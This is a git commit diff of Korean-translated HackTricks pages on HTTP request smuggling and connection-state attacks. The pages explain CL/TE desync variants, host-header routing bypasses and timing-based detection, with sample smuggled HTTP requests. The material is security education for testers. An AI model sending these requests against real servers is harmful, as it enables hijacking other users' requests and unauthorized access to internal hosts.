mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
This commit is contained in:
parent
7e836dd402
commit
66d498966e
5 changed files with 423 additions and 191 deletions
BIN
.gitbook/assets/image (729).png
Normal file
BIN
.gitbook/assets/image (729).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 492 KiB |
|
@ -2,57 +2,54 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
|
||||
|
||||
</details>
|
||||
|
||||
**이 글은 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)의 요약입니다.**
|
||||
**이 글은 다음 글의 요약입니다** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
|
||||
## 연결 상태 공격 <a href="#state" id="state"></a>
|
||||
|
||||
### 첫 번째 요청 유효성 검사
|
||||
|
||||
역방향 프록시는 요청을 라우팅할 때 **Host 헤더**를 사용하여 대상 백엔드 서버를 결정할 수 있습니다. 종종 허용된 호스트의 화이트리스트에 의존합니다. 그러나 일부 프록시에서는 화이트리스트가 연결의 초기 요청에서만 적용되는 취약점이 있습니다. 따라서 공격자는 먼저 허용된 호스트로 요청을 보낸 다음 동일한 연결을 통해 내부 사이트를 요청함으로써 이를 악용할 수 있습니다.
|
||||
```text
|
||||
요청을 라우팅할 때, 역방향 프록시는 종종 허용된 호스트 목록을 기반으로 대상 백엔드 서버를 결정하기 위해 **Host 헤더**에 의존할 수 있습니다. 그러나 일부 프록시에서는 허용 목록이 연결의 초기 요청에서만 강제되는 취약점이 존재합니다. 결과적으로 공격자는 허용된 호스트로의 첫 번째 요청을 먼저 하고 동일한 연결을 통해 내부 사이트를 요청함으로써 이를 악용할 수 있습니다.
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: [allowed-external-host]
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: [internal-host]
|
||||
```
|
||||
이 취약점은 다행히도 널리 퍼져 있지 않습니다.
|
||||
|
||||
### 첫 번째 요청 라우팅
|
||||
|
||||
일부 구성에서 프런트엔드 서버는 첫 번째 요청의 **Host 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정하고, 그 후에는 동일한 클라이언트 연결에서 모든 후속 요청을 동일한 백엔드 연결로 지속적으로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다:
|
||||
```text
|
||||
일부 구성에서 프런트엔드 서버는 첫 번째 요청의 **호스트 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정한 후, 동일한 클라이언트 연결에서 이후 모든 요청을 지속적으로 동일한 백엔드 연결로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
POST /pwreset HTTP/1.1
|
||||
Host: psres.net
|
||||
```
|
||||
이 문제는 [호스트 헤더 공격](https://portswigger.net/web-security/host-header)과 결합될 수 있으며, 비밀번호 재설정 독촉 또는 [웹 캐시 독촉](https://portswigger.net/web-security/web-cache-poisoning)과 같은 다른 취약점을 악용하거나 추가 가상 호스트에 무단 액세스를 얻을 수 있습니다.
|
||||
이 문제는 [호스트 헤더 공격](https://portswigger.net/web-security/host-header)과 결합될 수 있으며, 비밀번호 재설정 독려 또는 [웹 캐시 독려](https://portswigger.net/web-security/web-cache-poisoning)와 같은 공격을 통해 다른 취약점을 악용하거나 추가 가상 호스트에 무단 액세스할 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
이러한 취약점을 식별하기 위해 HTTP Request Smuggler의 'connection-state probe' 기능을 활용할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 제로부터 전문가까지 배우세요!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 홍보**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **를 따르세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 **PR을 제출**하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 무엇인가요
|
||||
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에 의해 **단일 요청**으로 **해석**되고 **백엔드** 서버에 의해 **2개의 요청**으로 **해석**되는 HTTP **요청**을 **보낼 수 있는** 취약점입니다.\
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에 의해 **단일 요청**으로 해석되는 HTTP **요청**을 보낼 수 있게 하는 취약점입니다. 그리고 **백엔드** 서버에 의해 **2개의 요청**으로 해석됩니다.\
|
||||
이를 통해 사용자는 **자신의 다음 요청을 수정**할 수 있습니다.
|
||||
|
||||
### 이론
|
||||
|
@ -31,29 +31,29 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Transfer-Encoding 헤더는 페이로드 본문을 안전하게 전송하기 위해 사용되는 인코딩 형식을 지정합니다.\
|
||||
> Chunked는 대량 데이터가 일련의 청크로 전송되는 것을 의미합니다.
|
||||
> Transfer-Encoding 헤더는 페이로드 본문을 안전하게 전송하는 데 사용되는 인코딩 형식을 지정합니다.\
|
||||
> Chunked는 대량 데이터가 일련의 청크로 전송된다는 것을 의미합니다.
|
||||
|
||||
### 현실
|
||||
|
||||
**프론트엔드** (로드 밸런스 / 리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고 **백엔드** 서버는 **다른 하나를 처리**하여 2개의 시스템 간에 **비동기화**를 유발합니다.\
|
||||
이는 **공격자가 리버스 프록시에 하나의 요청을 보낼 수 있게 해줍니다**. 이 요청은 **프론트엔드** 서버에 의해 **단일 요청**으로 **해석**되고 **백엔드** 서버에 의해 **2개의 다른 요청**으로 **해석**됩니다. 이 기술의 위험은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트로부터 온 것으로 해석**하고 해당 클라이언트의 **실제 요청**이 **주입된 요청**의 일부가 될 수 있다는 점에 있습니다.
|
||||
**프론트엔드** (로드 밸런스 / 리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고 **백엔드** 서버는 **다른 하나를 처리**하여 두 시스템 간의 **비동기화**를 유발합니다.\
|
||||
이는 **공격자가 리버스 프록시에 하나의 요청을 보낼 수 있게 해줄 수 있기 때문에 매우 심각**할 수 있습니다. 이 요술의 위험은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트에서 온 것으로 해석**하고 해당 클라이언트의 **실제 요청**이 **주입된 요청**의 일부가 될 수 있다는 점에 있습니다.
|
||||
|
||||
### 특이사항
|
||||
|
||||
HTTP에서 **새 줄 문자는 2바이트로 구성**된다는 것을 기억하세요:
|
||||
|
||||
* **Content-Length**: 이 헤더는 요청의 **바디**의 **바이트 수**를 나타내기 위해 **10진수**를 사용합니다. 바디는 마지막 문자로 끝나야 하며, **요청의 끝에 새 줄이 필요하지 않습니다**.
|
||||
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 **16진수**를 **바디**에서 사용합니다. **청크**는 **새 줄로 끝나야** 하지만 이 새 줄은 **길이 표시자에 포함되지 않습니다**. 이 전송 방법은 **0 크기의 청크 뒤에 2개의 새 줄이 따라야** 합니다: `0`
|
||||
* **Connection**: 내 경험에 따르면 요청 스머글링의 첫 요청에는 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
|
||||
* **Content-Length**: 이 헤더는 요청의 **본문**의 **바이트 수**를 나타내기 위해 **10진수 숫자**를 사용합니다. 본문은 마지막 문자로 끝나야 하며, **요청의 끝에 새 줄이 필요하지 않습니다**.
|
||||
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 **16진수 숫자**를 **본문**에서 사용합니다. **청크**는 **새 줄로 끝나야** 하지만 이 새 줄은 **길이 표시자에 포함되지 않습니다**. 이 전송 방법은 **0 크기의 청크 뒤에 2개의 새 줄이 따라야** 합니다: `0`
|
||||
* **Connection**: 내 경험에 따르면 요청 스머글링의 첫 요청에서 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
|
||||
|
||||
## 기본 예제
|
||||
|
||||
{% hint style="success" %}
|
||||
Burp Suite를 사용하여 이를 악용하려면 반복기에서 **`Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 가젯이 새 줄, 캐리지 리턴 및 형식이 잘못된 content-length를 남용하기 때문입니다.
|
||||
Burp Suite를 사용하여 이를 악용하려면 반복기에서 **`Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 가젯이 새 줄, 캐리지 리턴 및 형식이 잘못된 content-length을 남용하기 때문입니다.
|
||||
{% endhint %}
|
||||
|
||||
HTTP 요청 스머글링 공격은 프론트엔드와 백엔드 서버가 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 보내어 생성됩니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE**로 나타납니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선순위에 따라 처리하는 독특한 조합을 나타냅니다. 서버가 동일한 요청을 다른 방식으로 처리하여 예상치 못한 악의적 결과를 초래하는 취약점이 발생합니다.
|
||||
HTTP 요청 스머글링 공격은 프론트엔드와 백엔드 서버가 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 보내어 생성됩니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE**로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선순위에 따라 처리하는 독특한 조합을 나타냅니다. 서버가 동일한 요청을 다른 방식으로 처리하여 예상치 못한 악의적 결과를 초래하는 취약점이 발생합니다.
|
||||
|
||||
### 취약점 유형의 기본 예제
|
||||
|
||||
|
@ -64,9 +64,9 @@ HTTP 요청 스머글링 공격은 프론트엔드와 백엔드 서버가 `Conte
|
|||
* **프론트엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **백엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **공격 시나리오:**
|
||||
* 공격자가 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
|
||||
* 공격자가 `Content-Length` 헤더 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
|
||||
* 프론트엔드 서버는 `Content-Length` 값에 따라 전체 요청을 백엔드로 전달합니다.
|
||||
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 청크 처리를 하여 남은 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 요청을 청크로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
* **예시:**
|
||||
|
||||
```
|
||||
|
@ -87,9 +87,9 @@ Foo: x
|
|||
* **프론트엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **백엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **공격 시나리오:**
|
||||
* 공격자가 청크 요청을 보내어 청크 크기 (`7b`)와 실제 콘텐츠 길이 (`Content-Length: 4`)가 일치하지 않도록 합니다.
|
||||
* 공격자가 청크 요청을 보내어 청크 크기 (`7b`)와 실제 콘텐츠 길이 (`Content-Length: 4`)가 일치하지 않습니다.
|
||||
* 프론트엔드 서버는 `Transfer-Encoding`을 준수하여 전체 요청을 백엔드로 전달합니다.
|
||||
* 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다.
|
||||
* 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분만 처리하고 나머지를 의도하지 않은 후속 요청의 일부로 남깁니다.
|
||||
* **예시:**
|
||||
|
||||
```
|
||||
|
@ -109,13 +109,13 @@ x=
|
|||
0
|
||||
|
||||
```
|
||||
#### TE.TE 취약점 (양쪽 모두 사용하는 Transfer-Encoding, 난독화 포함)
|
||||
#### TE.TE 취약점 (양쪽 모두에서 사용되는 Transfer-Encoding, 난독화 포함)
|
||||
|
||||
* **서버:** 둘 다 `Transfer-Encoding`을 지원하지만, 난독화를 통해 하나의 서버가 이를 무시하도록 속일 수 있음.
|
||||
* **서버:** 두 서버 모두 `Transfer-Encoding`을 지원하지만, 난독화를 통해 하나의 서버가 이를 무시하도록 속일 수 있음.
|
||||
* **공격 시나리오:**
|
||||
* 공격자가 난독화된 `Transfer-Encoding` 헤더를 포함한 요청을 보냄.
|
||||
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하면 CL.TE 또는 TE.CL 취약점을 악용할 수 있음.
|
||||
* 요청의 처리되지 않은 부분이 서버 중 하나에 의해 본 후속 요청의 일부가 되어 스머글링이 발생함.
|
||||
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있음.
|
||||
* 한 서버에서 보이는 처리되지 않은 요청 부분이 후속 요청의 일부가 되어 스머글링이 발생함.
|
||||
* **예시:**
|
||||
|
||||
```
|
||||
|
@ -135,10 +135,10 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL 시나리오 (Front-End와 Back-End 모두에서 사용하는 Content-Length):**
|
||||
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두에서 사용되는 Content-Length):**
|
||||
|
||||
* 두 서버 모두 요청을 오로지 `Content-Length` 헤더를 기반으로 처리함.
|
||||
* 이 시나리오는 일반적으로 서버가 요청 길이를 해석하는 방식에 일치하므로 스머글링으로 이어지지 않음.
|
||||
* 두 서버는 요청을 오로지 `Content-Length` 헤더를 기반으로 처리함.
|
||||
* 이 시나리오는 일반적으로 서버가 요청 길이를 해석하는 방식에 일치함으로써 스머글링으로 이어지지 않음.
|
||||
* **예시:**
|
||||
|
||||
```
|
||||
|
@ -167,10 +167,16 @@ Connection: keep-alive
|
|||
|
||||
#### hop-by-hop 헤더를 통한 강제
|
||||
|
||||
hop-by-hop 헤더를 남용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있음**.
|
||||
hop-by-hop 헤더를 남용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시**하여 HTTP 요청 스머글링을 악용할 수 있음.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
**더 많은 hop-by-hop 헤더에 대한 정보를 원하시면** 방문하세요:
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## HTTP 요청 스머글링 찾기
|
||||
|
||||
HTTP 요청 스머글링 취약점을 식별하는 것은 종종 서버가 조작된 요청에 응답하는 데 얼마나 오랜 시간이 걸리는지 관찰하는 타이밍 기술을 사용하여 달성할 수 있습니다. 이러한 기술은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
|
||||
|
@ -178,7 +184,7 @@ HTTP 요청 스머글링 취약점을 식별하는 것은 종종 서버가 조
|
|||
### 타이밍 기술을 사용하여 CL.TE 취약점 찾기
|
||||
|
||||
* **방법:**
|
||||
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록 만들 수 있는 요청을 보냅니다.
|
||||
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록하는 요청을 보냅니다.
|
||||
* **예시:**
|
||||
|
||||
```
|
||||
|
@ -194,15 +200,15 @@ A
|
|||
```
|
||||
* **관찰:**
|
||||
* 프론트엔드 서버는 `Content-Length`를 기반으로 요청을 처리하고 메시지를 일찍 잘라냅니다.
|
||||
* 청엔드 서버는 청크 메시지를 기대하고 도착하지 않는 다음 청크를 기다리면서 지연이 발생합니다.
|
||||
* 청엥 서버는 청크 메시지를 기대하고 도착하지 않는 다음 청크를 기다리면서 지연이 발생합니다.
|
||||
* **지표:**
|
||||
* 응답 시 타임아웃 또는 긴 지연.
|
||||
* 응답 시 타임아웃 또는 긴 대기 시간.
|
||||
* 백엔드 서버로부터 400 Bad Request 오류 수신, 때로는 자세한 서버 정보와 함께.
|
||||
|
||||
### 타이밍 기술을 사용하여 TE.CL 취약점 찾기
|
||||
|
||||
* **방법:**
|
||||
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록 만들 수 있는 요청을 보냅니다.
|
||||
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록하는 요청을 보냅니다.
|
||||
* **예시:**
|
||||
|
||||
```
|
||||
|
@ -219,30 +225,40 @@ X
|
|||
* 프론트엔드 서버는 `Transfer-Encoding`을 기반으로 요청을 처리하고 전체 메시지를 전달합니다.
|
||||
* 백엔드 서버는 `Content-Length`를 기반으로 한 메시지를 기대하고 도착하지 않는 추가 데이터를 기다리면서 지연이 발생합니다.
|
||||
|
||||
### 취약점 찾기 위한 다른 방법
|
||||
### 다른 취약점 찾기 방법
|
||||
|
||||
* **차이점 응답 분석:**
|
||||
* **차별화된 응답 분석:**
|
||||
* 요청의 약간 다른 버전을 보내고 서버 응답이 예상치 않은 방식으로 다른지 관찰하여 구문 분석 불일치를 나타내는지 확인합니다.
|
||||
* **자동화된 도구 사용:**
|
||||
* Burp Suite의 'HTTP Request Smuggler' 확장 프로그램과 같은 도구를 사용하여 모호한 요청의 다양한 형태를 보내고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
|
||||
* **Content-Length 변이 테스트:**
|
||||
* 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 보내고 서버가 이러한 불일치를 처리하는 방식을 관찰합니다.
|
||||
* **Transfer-Encoding 변이 테스트:**
|
||||
* 왜곡되거나 잘못된 `Transfer-Encoding` 헤더를 가진 요청을 보내고 프론트엔드 및 백엔드 서버가 이러한 조작에 대해 어떻게 다르게 응답하는지 모니터링합니다.
|
||||
* 왜곡되거나 잘못된 `Transfer-Encoding` 헤더를 가진 요청을 보내고 프론트엔드 및 백엔드 서버가 이러한 조작에 어떻게 다르게 응답하는지 모니터링합니다.
|
||||
|
||||
### HTTP 요청 스머글링 취약점 테스트
|
||||
|
||||
타이밍 기술의 효과를 확인한 후, 클라이언트 요청이 조작될 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 예를 들어 `/`로 요청을 보내어 404 응답을 유도하는 것입니다. 이전에 설명한 `CL.TE` 및 `TE.CL` 예제는 클라이언트의 요청을 독려하여 다른 리소스에 액세스하려는 클라이언트의 요청을 유도하는 방법을 보여줍니다.
|
||||
타이밍 기술의 효과를 확인한 후, 클라이언트 요청이 조작될 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 예를 들어 `/`로 요청을 보내어 404 응답을 유도하는 것입니다. [기본 예제](./#basic-examples)에서 이전에 논의된 `CL.TE` 및 `TE.CL` 예제는 클라이언트의 요청을 독려하여 404 응답을 유도하는 방법을 보여줍니다.
|
||||
|
||||
**주요 고려 사항**
|
||||
|
||||
다른 요청에 간섭하여 요청 스머글링 취약점을 테스트할 때 다음을 염두에 두세요:
|
||||
|
||||
* **구별된 네트워크 연결:** "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 확인하지 않습니다.
|
||||
* **구분된 네트워크 연결:** "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 확인하지 않습니다.
|
||||
* **일관된 URL 및 매개변수:** 두 요청에 대해 동일한 URL 및 매개변수 이름을 사용하려고 노력하세요. 현대 애플리케이션은 URL 및 매개변수를 기반으로 특정 백엔드 서버로 요청을 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리되는 가능성이 높아지며, 성공적인 공격을 위한 전제 조건이 됩니다.
|
||||
* **타이밍 및 경주 조건:** "공격" 요청으로부터의 간섭을 감지하려는 "정상" 요청은 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청을 바로 뒤이어 "정상" 요청을 보내야 합니다. 바쁜 애플리케이션은 결정적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **부하 분산 도전:** 부하 분산기로 작동하는 프론트엔드 서버는 요청을 여러 백엔드 시스템에 분산할 수 있습니다. "공격" 및 "정상" 요청이 다른 시스템에 도달하면 공격이 성공하지 않을 수 있습니다. 이 부하 분산 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **의도하지 않은 사용자 영향:** 공격이 다른 사용자의 요청에 영향을 미친 경우 (감지를 위해 보낸 "정상" 요청이 아닌 경우) 공격이 다른 애플리케이션 사용자에게 영향을 미친 것을 나타냅니다. 계속해서 테스트를 수행하면 다른 사용자를 방해할 수 있으므로 신중한 접근이 필요합니다.
|
||||
* **타이밍 및 경주 조건:** "공격" 요청으로부터의 간섭을 감지하려는 "정상" 요청은 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청을 바로 다음에 "정상" 요청을 보내세요. 바쁜 애플리케이션은 결정적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **부하 분산 도전:** 부하 분산기로 작동하는 프론트엔드 서버는 요청을 여러 백엔드 시스템으로 분산할 수 있습니다. "공격" 및 "정상" 요청이 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 부하 분산 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **의도하지 않은 사용자 영향:** 공격이 다른 사용자의 요청에 영향을 미친다면 (감지를 위해 보낸 "정상" 요청이 아닌 다른 사용자의 요청), 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 계속해서 테스트를 수행하면 다른 사용자를 방해할 수 있으므로 신중한 접근이 필요합니다.
|
||||
|
||||
## HTTP 요청 스머글링 남용
|
||||
|
||||
### HTTP 요청 스머글링을 통한 프론트엔드 보안 우회
|
||||
|
||||
